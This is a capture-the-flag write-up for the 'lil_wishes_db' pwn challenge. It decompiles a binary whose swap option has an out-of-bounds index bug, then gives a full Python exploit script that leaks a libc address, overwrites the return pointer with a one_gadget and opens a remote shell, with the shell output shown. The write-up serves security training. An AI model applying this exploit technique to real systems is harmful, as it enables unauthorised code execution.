Tags: one_gadget pwnscripts oob
Rating:
SOLVED
I don't want a lot for Christmas!
RCE is all I need
I don't care about protections
Underneath the RSP
Target: nc challs.xmas.htsp.ro 2002
Author: Th3R4nd0m
Files: lil_wishes_db.zip
pwnscripts
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 chall
The only thing good here is that FORTIFY is off.
The binary provides a 4 option CLI menu:
Choose:
1.Swap IDs
2.Print database
3.Insert ID
4.Exit
The loop for the menu is vaguely:
int print_db(__int64 *db) {
for (int i = 0; i <= 7; ++i)
printf("ID[%d] = %llu\n", i, db[i]);
}
int swapIDs(unsigned __int16 id1, unsigned __int16 id2, __int64 *s) {
__int64 tmp = s[id1];
s[id1] = s[id2];
s[id2] = tmp;
}
int main() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
__int64 db[9]; // [rsp+20h] [rbp-50h] this is the "database"
memset(db, 0, 0x40uLL);
int keep_running = 1;
puts("Wishes database\n");
while (keep_running) {
puts("Choose:\n1.Swap IDs\n2.Print database\n3.Insert ID\n4.Exit\n\nOption: ");
int opt, ind1, ind2;
scanf("%d", &opt);
puts(&nul);
switch (opt) {
case 2:
print_db(db);
break;
case 3:
unsigned index;
puts("Index: ");
scanf("%d", &index);
if ( index <= 7 ) { // unsigned --> unbugged
puts("Value: ");
scanf("%llu", &db[index]);
} else puts("Index should not be > 8");
break;
case 4:
keep_running = 0;
break;
case 1:
puts("Index 1:");
scanf("%d", &ind1);
puts("Index 2:");
scanf("%d", &ind2);
if ( ind1 <= 7 && ind2 <= 7 ) // lack of ind >= 0 check!
swapIDs((unsigned __int16)ind1, (unsigned __int16)ind2, db); //unsigned index overflow!
break;
default:
puts("Please choose one of the above");
}
puts(&nul);
}
puts("Merry Christmas!");
return 0LL;
}
Option 1 is bugged with the ability to swap with any index within the range of a uint16_t
. The exploit framework for this is rather simple:
db[0:8]
, then leak it with option 2.db[0:8]
with option 3.We'll start by mapping out all of the options as python functions:
from pwnscripts import *
context.binary = 'chall'
context.libc_database = 'libc-database'
context.libc = 'libc.so.6'
r = remote('challs.xmas.htsp.ro', 2002)
def opt(v): r.sendlineafter('Option: \n', str(v))
def swap(id1, id2):
opt(1)
r.sendlineafter('Index 1:\n', str(id1))
r.sendlineafter('Index 2:\n', str(id2))
def printIDs():
opt(2)
r.recvline()
return [int(r.recvline().strip().split(b'= ')[-1]) for i in range(8)]
def insert(ID, v):
opt(3)
r.sendlineafter('Index: \n', str(ID))
r.sendlineafter('Value: \n', str(v))
def rexit(): opt(4)
To leak libc, we'll grab the value of __libc_start_main_ret
(libc-db symbol) from the return pointer of the function frame:
def negID(v): return u32(p16(v)+b'\x00\xf0', sign=True) # cheap way to exploit swap()
rtr_ind = 0x58//8 # db[] is at rbp-0x50.
swap(0,negID(rtr_ind))
context.libc.calc_base('__libc_start_main_ret', printIDs()[0])
Then, we'll just return to a one_gadget
, which is particularly easy in this case (the requirement, [rsp-0x40]==NULL
, is pre-fulfilled):
insert(0,context.libc.select_gadget(1))
swap(0, negID(rtr_ind))
rexit()
r.interactive()
I tried making a ROP chain for system(libc_binsh_str)
as a more sensible method of exploiting the binary, but kept getting errors (SIGSEGV
with rax == 0x10000001
) during execution. Not entirely sure why.
In any case, the one_gadget
worked fine:
Merry Christmas!
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x5e bytes:
b'bin\n'
b'boot\n'
b'dev\n'
b'etc\n'
b'home\n'
...
X-MAS{oh_nooo_y0u_ru1ned_the_xmas}